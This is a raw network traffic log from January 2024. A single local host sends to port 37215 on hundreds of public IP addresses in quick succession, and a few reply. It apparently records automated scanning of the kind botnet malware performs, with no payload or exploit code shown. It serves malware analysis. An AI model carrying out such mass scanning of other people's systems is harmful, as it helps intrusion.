Jan 22, 2024 03:59:45.141693115 CET	58015	37215	192.168.2.20	197.82.53.205
Jan 22, 2024 03:59:45.141716957 CET	58015	37215	192.168.2.20	41.184.101.147
Jan 22, 2024 03:59:45.141732931 CET	58015	37215	192.168.2.20	197.228.248.245
Jan 22, 2024 03:59:45.141741991 CET	58015	37215	192.168.2.20	181.218.47.137
Jan 22, 2024 03:59:45.141766071 CET	58015	37215	192.168.2.20	181.224.236.69
Jan 22, 2024 03:59:45.141791105 CET	58015	37215	192.168.2.20	197.2.177.133
Jan 22, 2024 03:59:45.141799927 CET	58015	37215	192.168.2.20	156.99.123.154
Jan 22, 2024 03:59:45.141807079 CET	58015	37215	192.168.2.20	41.225.121.86
Jan 22, 2024 03:59:45.141829014 CET	58015	37215	192.168.2.20	160.56.245.153
Jan 22, 2024 03:59:45.141838074 CET	58015	37215	192.168.2.20	41.147.156.149
Jan 22, 2024 03:59:45.141863108 CET	58015	37215	192.168.2.20	41.161.75.103
Jan 22, 2024 03:59:45.141879082 CET	58015	37215	192.168.2.20	41.159.238.26
Jan 22, 2024 03:59:45.141936064 CET	58015	37215	192.168.2.20	197.12.186.21
Jan 22, 2024 03:59:45.141935110 CET	58015	37215	192.168.2.20	138.206.239.149
Jan 22, 2024 03:59:45.141936064 CET	58015	37215	192.168.2.20	122.91.24.58
Jan 22, 2024 03:59:45.141951084 CET	58015	37215	192.168.2.20	41.127.62.30
Jan 22, 2024 03:59:45.141968012 CET	58015	37215	192.168.2.20	92.118.190.42
Jan 22, 2024 03:59:45.141990900 CET	58015	37215	192.168.2.20	160.81.181.6
Jan 22, 2024 03:59:45.141993046 CET	58015	37215	192.168.2.20	41.111.84.136
Jan 22, 2024 03:59:45.142015934 CET	58015	37215	192.168.2.20	154.109.31.146
Jan 22, 2024 03:59:45.142031908 CET	58015	37215	192.168.2.20	102.69.178.133
Jan 22, 2024 03:59:45.142041922 CET	58015	37215	192.168.2.20	41.30.246.164
Jan 22, 2024 03:59:45.142052889 CET	58015	37215	192.168.2.20	197.122.203.96
Jan 22, 2024 03:59:45.142079115 CET	58015	37215	192.168.2.20	156.81.249.129
Jan 22, 2024 03:59:45.142102957 CET	58015	37215	192.168.2.20	138.100.216.122
Jan 22, 2024 03:59:45.142131090 CET	58015	37215	192.168.2.20	156.161.56.55
Jan 22, 2024 03:59:45.142132044 CET	58015	37215	192.168.2.20	120.177.29.231
Jan 22, 2024 03:59:45.142144918 CET	58015	37215	192.168.2.20	181.161.119.53
Jan 22, 2024 03:59:45.142163992 CET	58015	37215	192.168.2.20	41.134.128.15
Jan 22, 2024 03:59:45.142195940 CET	58015	37215	192.168.2.20	156.122.141.15
Jan 22, 2024 03:59:45.142209053 CET	58015	37215	192.168.2.20	102.151.196.130
Jan 22, 2024 03:59:45.142225981 CET	58015	37215	192.168.2.20	156.209.173.91
Jan 22, 2024 03:59:45.142242908 CET	58015	37215	192.168.2.20	94.125.252.189
Jan 22, 2024 03:59:45.142256021 CET	58015	37215	192.168.2.20	154.97.227.230
Jan 22, 2024 03:59:45.142283916 CET	58015	37215	192.168.2.20	197.108.23.144
Jan 22, 2024 03:59:45.142283916 CET	58015	37215	192.168.2.20	41.70.233.15
Jan 22, 2024 03:59:45.142297029 CET	58015	37215	192.168.2.20	197.251.50.179
Jan 22, 2024 03:59:45.142317057 CET	58015	37215	192.168.2.20	197.84.193.211
Jan 22, 2024 03:59:45.142349958 CET	58015	37215	192.168.2.20	197.179.123.253
Jan 22, 2024 03:59:45.142373085 CET	58015	37215	192.168.2.20	190.92.6.222
Jan 22, 2024 03:59:45.142389059 CET	58015	37215	192.168.2.20	41.70.217.245
Jan 22, 2024 03:59:45.142395973 CET	58015	37215	192.168.2.20	102.43.183.70
Jan 22, 2024 03:59:45.142420053 CET	58015	37215	192.168.2.20	156.169.196.103
Jan 22, 2024 03:59:45.142441034 CET	58015	37215	192.168.2.20	197.214.99.91
Jan 22, 2024 03:59:45.142462969 CET	58015	37215	192.168.2.20	156.176.152.124
Jan 22, 2024 03:59:45.142478943 CET	58015	37215	192.168.2.20	41.75.253.251
Jan 22, 2024 03:59:45.142486095 CET	58015	37215	192.168.2.20	197.137.88.158
Jan 22, 2024 03:59:45.142503023 CET	58015	37215	192.168.2.20	122.245.244.209
Jan 22, 2024 03:59:45.142529011 CET	58015	37215	192.168.2.20	95.131.198.146
Jan 22, 2024 03:59:45.142544031 CET	58015	37215	192.168.2.20	94.173.109.21
Jan 22, 2024 03:59:45.142570019 CET	58015	37215	192.168.2.20	197.254.87.50
Jan 22, 2024 03:59:45.142602921 CET	58015	37215	192.168.2.20	41.211.113.97
Jan 22, 2024 03:59:45.142605066 CET	58015	37215	192.168.2.20	156.70.168.169
Jan 22, 2024 03:59:45.142627001 CET	58015	37215	192.168.2.20	156.214.204.131
Jan 22, 2024 03:59:45.142641068 CET	58015	37215	192.168.2.20	197.217.255.195
Jan 22, 2024 03:59:45.142661095 CET	58015	37215	192.168.2.20	186.212.147.165
Jan 22, 2024 03:59:45.142684937 CET	58015	37215	192.168.2.20	196.65.96.8
Jan 22, 2024 03:59:45.142693996 CET	58015	37215	192.168.2.20	138.14.118.201
Jan 22, 2024 03:59:45.142712116 CET	58015	37215	192.168.2.20	197.43.152.207
Jan 22, 2024 03:59:45.142738104 CET	58015	37215	192.168.2.20	41.227.156.101
Jan 22, 2024 03:59:45.142752886 CET	58015	37215	192.168.2.20	156.47.200.127
Jan 22, 2024 03:59:45.142771006 CET	58015	37215	192.168.2.20	156.49.97.126
Jan 22, 2024 03:59:45.142796040 CET	58015	37215	192.168.2.20	156.245.107.115
Jan 22, 2024 03:59:45.142824888 CET	58015	37215	192.168.2.20	41.124.144.153
Jan 22, 2024 03:59:45.142828941 CET	58015	37215	192.168.2.20	41.106.16.57
Jan 22, 2024 03:59:45.142837048 CET	58015	37215	192.168.2.20	41.224.52.121
Jan 22, 2024 03:59:45.142851114 CET	58015	37215	192.168.2.20	197.31.214.220
Jan 22, 2024 03:59:45.142880917 CET	58015	37215	192.168.2.20	107.231.144.236
Jan 22, 2024 03:59:45.142903090 CET	58015	37215	192.168.2.20	41.126.17.254
Jan 22, 2024 03:59:45.142915964 CET	58015	37215	192.168.2.20	186.26.189.44
Jan 22, 2024 03:59:45.142932892 CET	58015	37215	192.168.2.20	197.125.147.75
Jan 22, 2024 03:59:45.142939091 CET	58015	37215	192.168.2.20	41.97.70.193
Jan 22, 2024 03:59:45.142962933 CET	58015	37215	192.168.2.20	107.179.132.50
Jan 22, 2024 03:59:45.142992020 CET	58015	37215	192.168.2.20	197.116.177.131
Jan 22, 2024 03:59:45.143004894 CET	58015	37215	192.168.2.20	41.145.246.146
Jan 22, 2024 03:59:45.143035889 CET	58015	37215	192.168.2.20	190.46.154.186
Jan 22, 2024 03:59:45.143059015 CET	58015	37215	192.168.2.20	197.101.198.170
Jan 22, 2024 03:59:45.143073082 CET	58015	37215	192.168.2.20	41.27.204.81
Jan 22, 2024 03:59:45.143093109 CET	58015	37215	192.168.2.20	156.57.166.86
Jan 22, 2024 03:59:45.143105030 CET	58015	37215	192.168.2.20	41.218.202.174
Jan 22, 2024 03:59:45.143121958 CET	58015	37215	192.168.2.20	156.244.56.171
Jan 22, 2024 03:59:45.143138885 CET	58015	37215	192.168.2.20	41.109.233.106
Jan 22, 2024 03:59:45.143156052 CET	58015	37215	192.168.2.20	156.119.202.150
Jan 22, 2024 03:59:45.143171072 CET	58015	37215	192.168.2.20	157.239.240.219
Jan 22, 2024 03:59:45.260543108 CET	37215	58015	156.96.216.215	192.168.2.20
Jan 22, 2024 03:59:45.285132885 CET	37215	58015	107.179.132.50	192.168.2.20
Jan 22, 2024 03:59:45.294919968 CET	37215	58015	107.89.156.130	192.168.2.20
Jan 22, 2024 03:59:45.313822985 CET	37215	58015	107.190.230.35	192.168.2.20
Jan 22, 2024 03:59:45.314023972 CET	58015	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:45.424860954 CET	37215	58015	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:45.425017118 CET	58015	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:45.439007998 CET	37215	58015	102.153.89.246	192.168.2.20
Jan 22, 2024 03:59:45.494520903 CET	37215	58015	122.245.244.209	192.168.2.20
Jan 22, 2024 03:59:45.515489101 CET	37215	58015	122.50.128.207	192.168.2.20
Jan 22, 2024 03:59:45.535329103 CET	37215	58015	156.0.209.85	192.168.2.20
Jan 22, 2024 03:59:46.144509077 CET	58015	37215	192.168.2.20	197.109.30.109
Jan 22, 2024 03:59:46.144511938 CET	58015	37215	192.168.2.20	138.13.168.79
Jan 22, 2024 03:59:46.144512892 CET	58015	37215	192.168.2.20	156.101.214.240
Jan 22, 2024 03:59:46.144512892 CET	58015	37215	192.168.2.20	156.210.186.84
Jan 22, 2024 03:59:46.144512892 CET	58015	37215	192.168.2.20	94.210.153.39
Jan 22, 2024 03:59:46.144512892 CET	58015	37215	192.168.2.20	45.253.226.115
Jan 22, 2024 03:59:46.144543886 CET	58015	37215	192.168.2.20	138.138.145.137
Jan 22, 2024 03:59:46.144543886 CET	58015	37215	192.168.2.20	197.94.90.245
Jan 22, 2024 03:59:46.144562006 CET	58015	37215	192.168.2.20	41.31.238.251
Jan 22, 2024 03:59:46.144562960 CET	58015	37215	192.168.2.20	41.193.190.117
Jan 22, 2024 03:59:46.144599915 CET	58015	37215	192.168.2.20	197.170.179.171
Jan 22, 2024 03:59:46.144618034 CET	58015	37215	192.168.2.20	156.219.17.142
Jan 22, 2024 03:59:46.144669056 CET	58015	37215	192.168.2.20	156.85.193.44
Jan 22, 2024 03:59:46.144682884 CET	58015	37215	192.168.2.20	197.73.237.163
Jan 22, 2024 03:59:46.144682884 CET	58015	37215	192.168.2.20	41.52.160.142
Jan 22, 2024 03:59:46.144689083 CET	58015	37215	192.168.2.20	154.146.126.139
Jan 22, 2024 03:59:46.144690037 CET	58015	37215	192.168.2.20	190.192.83.127
Jan 22, 2024 03:59:46.144690037 CET	58015	37215	192.168.2.20	41.253.222.43
Jan 22, 2024 03:59:46.144731998 CET	58015	37215	192.168.2.20	41.97.89.202
Jan 22, 2024 03:59:46.144731998 CET	58015	37215	192.168.2.20	197.123.64.178
Jan 22, 2024 03:59:46.144731998 CET	58015	37215	192.168.2.20	121.108.5.49
Jan 22, 2024 03:59:46.144732952 CET	58015	37215	192.168.2.20	154.92.87.141
Jan 22, 2024 03:59:46.144732952 CET	58015	37215	192.168.2.20	197.32.156.232
Jan 22, 2024 03:59:46.144747019 CET	58015	37215	192.168.2.20	138.153.188.247
Jan 22, 2024 03:59:46.144790888 CET	58015	37215	192.168.2.20	197.44.102.55
Jan 22, 2024 03:59:46.144824982 CET	58015	37215	192.168.2.20	156.242.147.218
Jan 22, 2024 03:59:46.144859076 CET	58015	37215	192.168.2.20	197.14.164.16
Jan 22, 2024 03:59:46.144881010 CET	58015	37215	192.168.2.20	156.200.186.202
Jan 22, 2024 03:59:46.144926071 CET	58015	37215	192.168.2.20	156.147.163.225
Jan 22, 2024 03:59:46.144958019 CET	58015	37215	192.168.2.20	41.133.102.66
Jan 22, 2024 03:59:46.144990921 CET	58015	37215	192.168.2.20	41.89.180.115
Jan 22, 2024 03:59:46.145029068 CET	58015	37215	192.168.2.20	197.191.111.191
Jan 22, 2024 03:59:46.145066023 CET	58015	37215	192.168.2.20	45.53.28.59
Jan 22, 2024 03:59:46.145076036 CET	58015	37215	192.168.2.20	156.24.130.204
Jan 22, 2024 03:59:46.145104885 CET	58015	37215	192.168.2.20	197.100.189.115
Jan 22, 2024 03:59:46.145123005 CET	58015	37215	192.168.2.20	94.241.245.60
Jan 22, 2024 03:59:46.145148039 CET	58015	37215	192.168.2.20	41.167.5.129
Jan 22, 2024 03:59:46.145189047 CET	58015	37215	192.168.2.20	41.175.53.17
Jan 22, 2024 03:59:46.145210028 CET	58015	37215	192.168.2.20	157.220.114.218
Jan 22, 2024 03:59:46.145219088 CET	58015	37215	192.168.2.20	120.130.163.56
Jan 22, 2024 03:59:46.145248890 CET	58015	37215	192.168.2.20	186.140.152.185
Jan 22, 2024 03:59:46.145266056 CET	58015	37215	192.168.2.20	41.221.185.217
Jan 22, 2024 03:59:46.145287037 CET	58015	37215	192.168.2.20	197.107.124.13
Jan 22, 2024 03:59:46.145447969 CET	58015	37215	192.168.2.20	41.146.171.66
Jan 22, 2024 03:59:46.145499945 CET	58015	37215	192.168.2.20	154.148.34.3
Jan 22, 2024 03:59:46.145529985 CET	58015	37215	192.168.2.20	156.214.87.164
Jan 22, 2024 03:59:46.145529985 CET	58015	37215	192.168.2.20	41.44.207.210
Jan 22, 2024 03:59:46.145551920 CET	58015	37215	192.168.2.20	197.185.78.169
Jan 22, 2024 03:59:46.145600080 CET	58015	37215	192.168.2.20	120.241.161.245
Jan 22, 2024 03:59:46.145620108 CET	58015	37215	192.168.2.20	122.11.104.17
Jan 22, 2024 03:59:46.145679951 CET	58015	37215	192.168.2.20	41.143.108.250
Jan 22, 2024 03:59:46.145701885 CET	58015	37215	192.168.2.20	157.178.23.179
Jan 22, 2024 03:59:46.145721912 CET	58015	37215	192.168.2.20	41.195.79.70
Jan 22, 2024 03:59:46.145747900 CET	58015	37215	192.168.2.20	41.28.163.115
Jan 22, 2024 03:59:46.145787954 CET	58015	37215	192.168.2.20	197.134.237.231
Jan 22, 2024 03:59:46.145816088 CET	58015	37215	192.168.2.20	41.172.140.58
Jan 22, 2024 03:59:46.145842075 CET	58015	37215	192.168.2.20	138.133.47.5
Jan 22, 2024 03:59:46.145884037 CET	58015	37215	192.168.2.20	107.243.131.185
Jan 22, 2024 03:59:46.145936966 CET	58015	37215	192.168.2.20	41.211.81.223
Jan 22, 2024 03:59:46.145950079 CET	58015	37215	192.168.2.20	197.60.120.116
Jan 22, 2024 03:59:46.145972013 CET	58015	37215	192.168.2.20	197.191.200.66
Jan 22, 2024 03:59:46.146018982 CET	58015	37215	192.168.2.20	107.63.152.3
Jan 22, 2024 03:59:46.146049976 CET	58015	37215	192.168.2.20	222.233.134.71
Jan 22, 2024 03:59:46.146076918 CET	58015	37215	192.168.2.20	156.51.235.73
Jan 22, 2024 03:59:46.146111965 CET	58015	37215	192.168.2.20	154.247.64.110
Jan 22, 2024 03:59:46.146142960 CET	58015	37215	192.168.2.20	197.48.10.127
Jan 22, 2024 03:59:46.146184921 CET	58015	37215	192.168.2.20	157.79.160.55
Jan 22, 2024 03:59:46.146203041 CET	58015	37215	192.168.2.20	102.48.83.40
Jan 22, 2024 03:59:46.146243095 CET	58015	37215	192.168.2.20	197.160.233.104
Jan 22, 2024 03:59:46.146269083 CET	58015	37215	192.168.2.20	186.154.146.57
Jan 22, 2024 03:59:46.146300077 CET	58015	37215	192.168.2.20	120.66.30.184
Jan 22, 2024 03:59:46.146339893 CET	58015	37215	192.168.2.20	190.210.247.7
Jan 22, 2024 03:59:46.146363974 CET	58015	37215	192.168.2.20	156.173.136.154
Jan 22, 2024 03:59:46.146435976 CET	58015	37215	192.168.2.20	156.186.154.138
Jan 22, 2024 03:59:46.146464109 CET	58015	37215	192.168.2.20	197.120.32.127
Jan 22, 2024 03:59:46.146496058 CET	58015	37215	192.168.2.20	197.230.81.166
Jan 22, 2024 03:59:46.146526098 CET	58015	37215	192.168.2.20	156.29.68.105
Jan 22, 2024 03:59:46.146528959 CET	58015	37215	192.168.2.20	197.94.117.152
Jan 22, 2024 03:59:46.146560907 CET	58015	37215	192.168.2.20	41.79.235.38
Jan 22, 2024 03:59:46.146583080 CET	58015	37215	192.168.2.20	197.15.173.156
Jan 22, 2024 03:59:46.146631002 CET	58015	37215	192.168.2.20	41.144.122.248
Jan 22, 2024 03:59:46.146651030 CET	58015	37215	192.168.2.20	122.74.98.191
Jan 22, 2024 03:59:46.146686077 CET	58015	37215	192.168.2.20	181.23.131.140
Jan 22, 2024 03:59:46.146732092 CET	58015	37215	192.168.2.20	156.15.133.168
Jan 22, 2024 03:59:46.146750927 CET	58015	37215	192.168.2.20	41.113.70.49
Jan 22, 2024 03:59:46.146794081 CET	58015	37215	192.168.2.20	41.197.2.247
Jan 22, 2024 03:59:46.146836042 CET	58015	37215	192.168.2.20	156.100.28.2
Jan 22, 2024 03:59:46.146863937 CET	58015	37215	192.168.2.20	197.41.11.165
Jan 22, 2024 03:59:46.146893024 CET	58015	37215	192.168.2.20	197.151.74.5
Jan 22, 2024 03:59:46.146922112 CET	58015	37215	192.168.2.20	41.145.135.104
Jan 22, 2024 03:59:46.146967888 CET	58015	37215	192.168.2.20	41.68.103.173
Jan 22, 2024 03:59:46.147028923 CET	58015	37215	192.168.2.20	41.63.155.78
Jan 22, 2024 03:59:46.147042990 CET	58015	37215	192.168.2.20	197.197.240.164
Jan 22, 2024 03:59:46.147066116 CET	58015	37215	192.168.2.20	41.51.237.39
Jan 22, 2024 03:59:46.147090912 CET	58015	37215	192.168.2.20	186.167.111.253
Jan 22, 2024 03:59:46.147092104 CET	58015	37215	192.168.2.20	156.37.197.33
Jan 22, 2024 03:59:46.147128105 CET	58015	37215	192.168.2.20	160.38.126.117
Jan 22, 2024 03:59:46.147166014 CET	58015	37215	192.168.2.20	138.208.138.19
Jan 22, 2024 03:59:46.147187948 CET	58015	37215	192.168.2.20	94.136.198.107
Jan 22, 2024 03:59:46.147196054 CET	58015	37215	192.168.2.20	157.149.60.209
Jan 22, 2024 03:59:46.147218943 CET	58015	37215	192.168.2.20	156.150.162.163
Jan 22, 2024 03:59:46.147236109 CET	58015	37215	192.168.2.20	45.93.199.27
Jan 22, 2024 03:59:46.147286892 CET	58015	37215	192.168.2.20	156.125.1.114
Jan 22, 2024 03:59:46.147321939 CET	58015	37215	192.168.2.20	222.60.255.139
Jan 22, 2024 03:59:46.147326946 CET	58015	37215	192.168.2.20	41.219.107.113
Jan 22, 2024 03:59:46.147344112 CET	58015	37215	192.168.2.20	41.38.125.9
Jan 22, 2024 03:59:46.147362947 CET	58015	37215	192.168.2.20	122.154.191.194
Jan 22, 2024 03:59:46.147517920 CET	58015	37215	192.168.2.20	197.243.188.223
Jan 22, 2024 03:59:46.147651911 CET	58015	37215	192.168.2.20	156.116.177.153
Jan 22, 2024 03:59:46.147723913 CET	58015	37215	192.168.2.20	107.216.155.171
Jan 22, 2024 03:59:46.147794962 CET	58015	37215	192.168.2.20	37.190.197.178
Jan 22, 2024 03:59:46.147876024 CET	58015	37215	192.168.2.20	41.129.139.182
Jan 22, 2024 03:59:46.147942066 CET	58015	37215	192.168.2.20	41.61.33.253
Jan 22, 2024 03:59:46.148010015 CET	58015	37215	192.168.2.20	156.251.242.138
Jan 22, 2024 03:59:46.148077011 CET	58015	37215	192.168.2.20	156.36.30.67
Jan 22, 2024 03:59:46.148150921 CET	58015	37215	192.168.2.20	45.7.148.157
Jan 22, 2024 03:59:46.148210049 CET	58015	37215	192.168.2.20	156.115.61.193
Jan 22, 2024 03:59:46.148266077 CET	58015	37215	192.168.2.20	222.98.92.58
Jan 22, 2024 03:59:46.148329973 CET	58015	37215	192.168.2.20	138.12.159.124
Jan 22, 2024 03:59:46.148392916 CET	58015	37215	192.168.2.20	156.146.162.238
Jan 22, 2024 03:59:46.148502111 CET	58015	37215	192.168.2.20	156.125.27.215
Jan 22, 2024 03:59:46.148571014 CET	58015	37215	192.168.2.20	160.155.162.214
Jan 22, 2024 03:59:46.148636103 CET	58015	37215	192.168.2.20	181.217.207.182
Jan 22, 2024 03:59:46.148703098 CET	58015	37215	192.168.2.20	197.122.185.88
Jan 22, 2024 03:59:46.148768902 CET	58015	37215	192.168.2.20	197.209.222.52
Jan 22, 2024 03:59:46.148837090 CET	58015	37215	192.168.2.20	154.112.199.132
Jan 22, 2024 03:59:46.148895979 CET	58015	37215	192.168.2.20	41.190.13.228
Jan 22, 2024 03:59:46.148969889 CET	58015	37215	192.168.2.20	197.169.143.43
Jan 22, 2024 03:59:46.149035931 CET	58015	37215	192.168.2.20	156.56.249.160
Jan 22, 2024 03:59:46.149106979 CET	58015	37215	192.168.2.20	196.172.152.237
Jan 22, 2024 03:59:46.149166107 CET	58015	37215	192.168.2.20	156.96.33.156
Jan 22, 2024 03:59:46.149241924 CET	58015	37215	192.168.2.20	41.71.136.67
Jan 22, 2024 03:59:46.149308920 CET	58015	37215	192.168.2.20	156.106.48.219
Jan 22, 2024 03:59:46.149374008 CET	58015	37215	192.168.2.20	94.12.148.138
Jan 22, 2024 03:59:46.149441004 CET	58015	37215	192.168.2.20	37.53.66.107
Jan 22, 2024 03:59:46.149511099 CET	58015	37215	192.168.2.20	41.206.204.190
Jan 22, 2024 03:59:46.149631977 CET	58015	37215	192.168.2.20	154.121.154.59
Jan 22, 2024 03:59:46.149710894 CET	58015	37215	192.168.2.20	197.194.85.31
Jan 22, 2024 03:59:46.149790049 CET	58015	37215	192.168.2.20	41.67.248.99
Jan 22, 2024 03:59:46.149847984 CET	58015	37215	192.168.2.20	154.126.233.180
Jan 22, 2024 03:59:46.149915934 CET	58015	37215	192.168.2.20	157.0.169.228
Jan 22, 2024 03:59:46.149996042 CET	58015	37215	192.168.2.20	41.33.99.86
Jan 22, 2024 03:59:46.150062084 CET	58015	37215	192.168.2.20	197.170.45.201
Jan 22, 2024 03:59:46.150127888 CET	58015	37215	192.168.2.20	197.241.110.226
Jan 22, 2024 03:59:46.150187969 CET	58015	37215	192.168.2.20	37.221.95.84
Jan 22, 2024 03:59:46.150262117 CET	58015	37215	192.168.2.20	156.130.34.191
Jan 22, 2024 03:59:46.150340080 CET	58015	37215	192.168.2.20	156.27.195.255
Jan 22, 2024 03:59:46.150384903 CET	58015	37215	192.168.2.20	197.96.213.95
Jan 22, 2024 03:59:46.150450945 CET	58015	37215	192.168.2.20	197.131.22.2
Jan 22, 2024 03:59:46.150527954 CET	58015	37215	192.168.2.20	41.211.212.183
Jan 22, 2024 03:59:46.150597095 CET	58015	37215	192.168.2.20	122.47.16.72
Jan 22, 2024 03:59:46.150652885 CET	58015	37215	192.168.2.20	41.72.61.182
Jan 22, 2024 03:59:46.150726080 CET	58015	37215	192.168.2.20	197.148.250.96
Jan 22, 2024 03:59:46.150794983 CET	58015	37215	192.168.2.20	197.29.226.86
Jan 22, 2024 03:59:46.150861979 CET	58015	37215	192.168.2.20	41.192.179.26
Jan 22, 2024 03:59:46.150918007 CET	58015	37215	192.168.2.20	197.248.54.244
Jan 22, 2024 03:59:46.150993109 CET	58015	37215	192.168.2.20	45.226.228.254
Jan 22, 2024 03:59:46.151050091 CET	58015	37215	192.168.2.20	41.181.154.107
Jan 22, 2024 03:59:46.151127100 CET	58015	37215	192.168.2.20	197.50.140.47
Jan 22, 2024 03:59:46.151192904 CET	58015	37215	192.168.2.20	41.254.2.169
Jan 22, 2024 03:59:46.151266098 CET	58015	37215	192.168.2.20	181.165.115.177
Jan 22, 2024 03:59:46.151319981 CET	58015	37215	192.168.2.20	222.124.202.103
Jan 22, 2024 03:59:46.151392937 CET	58015	37215	192.168.2.20	41.159.202.141
Jan 22, 2024 03:59:46.151453972 CET	58015	37215	192.168.2.20	156.14.153.76
Jan 22, 2024 03:59:46.151516914 CET	58015	37215	192.168.2.20	41.158.122.173
Jan 22, 2024 03:59:46.151590109 CET	58015	37215	192.168.2.20	222.165.57.151
Jan 22, 2024 03:59:46.151662111 CET	58015	37215	192.168.2.20	197.45.65.252
Jan 22, 2024 03:59:46.151732922 CET	58015	37215	192.168.2.20	190.53.187.220
Jan 22, 2024 03:59:46.151788950 CET	58015	37215	192.168.2.20	156.55.57.252
Jan 22, 2024 03:59:46.151861906 CET	58015	37215	192.168.2.20	181.49.245.164
Jan 22, 2024 03:59:46.151926994 CET	58015	37215	192.168.2.20	181.215.157.180
Jan 22, 2024 03:59:46.151993036 CET	58015	37215	192.168.2.20	222.211.151.46
Jan 22, 2024 03:59:46.152061939 CET	58015	37215	192.168.2.20	41.61.177.137
Jan 22, 2024 03:59:46.152128935 CET	58015	37215	192.168.2.20	41.43.7.103
Jan 22, 2024 03:59:46.152193069 CET	58015	37215	192.168.2.20	156.41.146.135
Jan 22, 2024 03:59:46.152261972 CET	58015	37215	192.168.2.20	186.82.116.250
Jan 22, 2024 03:59:46.152333975 CET	58015	37215	192.168.2.20	107.161.127.65
Jan 22, 2024 03:59:46.152386904 CET	58015	37215	192.168.2.20	154.5.174.5
Jan 22, 2024 03:59:46.152479887 CET	58015	37215	192.168.2.20	95.125.240.115
Jan 22, 2024 03:59:46.152539015 CET	58015	37215	192.168.2.20	222.31.99.132
Jan 22, 2024 03:59:46.152615070 CET	58015	37215	192.168.2.20	156.232.68.85
Jan 22, 2024 03:59:46.152679920 CET	58015	37215	192.168.2.20	138.136.225.128
Jan 22, 2024 03:59:46.152750015 CET	58015	37215	192.168.2.20	197.220.87.121
Jan 22, 2024 03:59:46.152807951 CET	58015	37215	192.168.2.20	94.141.134.169
Jan 22, 2024 03:59:46.152872086 CET	58015	37215	192.168.2.20	156.25.250.245
Jan 22, 2024 03:59:46.152937889 CET	58015	37215	192.168.2.20	156.182.205.171
Jan 22, 2024 03:59:46.153004885 CET	58015	37215	192.168.2.20	41.156.108.225
Jan 22, 2024 03:59:46.153079987 CET	58015	37215	192.168.2.20	102.249.149.99
Jan 22, 2024 03:59:46.153148890 CET	58015	37215	192.168.2.20	156.193.69.133
Jan 22, 2024 03:59:46.153212070 CET	58015	37215	192.168.2.20	156.3.115.133
Jan 22, 2024 03:59:46.153271914 CET	58015	37215	192.168.2.20	197.18.140.130
Jan 22, 2024 03:59:46.153311968 CET	58015	37215	192.168.2.20	41.93.67.22
Jan 22, 2024 03:59:46.153343916 CET	58015	37215	192.168.2.20	156.102.120.102
Jan 22, 2024 03:59:46.153376102 CET	58015	37215	192.168.2.20	138.215.102.46
Jan 22, 2024 03:59:46.153398991 CET	58015	37215	192.168.2.20	122.118.65.150
Jan 22, 2024 03:59:46.153419971 CET	58015	37215	192.168.2.20	197.127.63.152
Jan 22, 2024 03:59:46.153449059 CET	58015	37215	192.168.2.20	156.238.141.139
Jan 22, 2024 03:59:46.153484106 CET	58015	37215	192.168.2.20	197.45.89.141
Jan 22, 2024 03:59:46.153528929 CET	58015	37215	192.168.2.20	156.174.225.45
Jan 22, 2024 03:59:46.153538942 CET	58015	37215	192.168.2.20	197.194.4.31
Jan 22, 2024 03:59:46.153558016 CET	58015	37215	192.168.2.20	197.143.146.234
Jan 22, 2024 03:59:46.153593063 CET	58015	37215	192.168.2.20	107.152.123.33
Jan 22, 2024 03:59:46.153611898 CET	58015	37215	192.168.2.20	197.212.191.197
Jan 22, 2024 03:59:46.153635979 CET	58015	37215	192.168.2.20	196.170.21.6
Jan 22, 2024 03:59:46.153675079 CET	58015	37215	192.168.2.20	94.207.91.37
Jan 22, 2024 03:59:46.153700113 CET	58015	37215	192.168.2.20	41.104.75.32
Jan 22, 2024 03:59:46.153729916 CET	58015	37215	192.168.2.20	41.216.94.248
Jan 22, 2024 03:59:46.153757095 CET	58015	37215	192.168.2.20	120.172.110.85
Jan 22, 2024 03:59:46.153774977 CET	58015	37215	192.168.2.20	154.175.91.30
Jan 22, 2024 03:59:46.153800011 CET	58015	37215	192.168.2.20	181.198.227.243
Jan 22, 2024 03:59:46.153830051 CET	58015	37215	192.168.2.20	94.119.112.255
Jan 22, 2024 03:59:46.153857946 CET	58015	37215	192.168.2.20	45.34.209.229
Jan 22, 2024 03:59:46.153913021 CET	58015	37215	192.168.2.20	197.60.156.117
Jan 22, 2024 03:59:46.153939009 CET	58015	37215	192.168.2.20	94.11.242.97
Jan 22, 2024 03:59:46.153939009 CET	58015	37215	192.168.2.20	197.178.118.65
Jan 22, 2024 03:59:46.153968096 CET	58015	37215	192.168.2.20	156.236.229.165
Jan 22, 2024 03:59:46.154002905 CET	58015	37215	192.168.2.20	197.50.218.233
Jan 22, 2024 03:59:46.154026985 CET	58015	37215	192.168.2.20	41.236.211.249
Jan 22, 2024 03:59:46.154058933 CET	58015	37215	192.168.2.20	190.101.194.215
Jan 22, 2024 03:59:46.154083967 CET	58015	37215	192.168.2.20	197.56.167.231
Jan 22, 2024 03:59:46.154109001 CET	58015	37215	192.168.2.20	156.150.197.216
Jan 22, 2024 03:59:46.154129982 CET	58015	37215	192.168.2.20	92.113.73.242
Jan 22, 2024 03:59:46.154165030 CET	58015	37215	192.168.2.20	157.177.164.49
Jan 22, 2024 03:59:46.154192924 CET	58015	37215	192.168.2.20	197.85.113.8
Jan 22, 2024 03:59:46.154228926 CET	58015	37215	192.168.2.20	41.143.214.223
Jan 22, 2024 03:59:46.154258966 CET	58015	37215	192.168.2.20	222.237.75.137
Jan 22, 2024 03:59:46.154272079 CET	58015	37215	192.168.2.20	160.224.251.157
Jan 22, 2024 03:59:46.154293060 CET	58015	37215	192.168.2.20	41.123.74.249
Jan 22, 2024 03:59:46.154320002 CET	58015	37215	192.168.2.20	156.175.6.206
Jan 22, 2024 03:59:46.154347897 CET	58015	37215	192.168.2.20	122.226.196.148
Jan 22, 2024 03:59:46.154382944 CET	58015	37215	192.168.2.20	156.152.240.189
Jan 22, 2024 03:59:46.154402971 CET	58015	37215	192.168.2.20	156.131.164.176
Jan 22, 2024 03:59:46.154438019 CET	58015	37215	192.168.2.20	197.182.3.181
Jan 22, 2024 03:59:46.154458046 CET	58015	37215	192.168.2.20	222.63.1.114
Jan 22, 2024 03:59:46.154490948 CET	58015	37215	192.168.2.20	197.8.180.159
Jan 22, 2024 03:59:46.154511929 CET	58015	37215	192.168.2.20	92.104.255.207
Jan 22, 2024 03:59:46.154546022 CET	58015	37215	192.168.2.20	41.55.31.254
Jan 22, 2024 03:59:46.154567003 CET	58015	37215	192.168.2.20	156.185.208.116
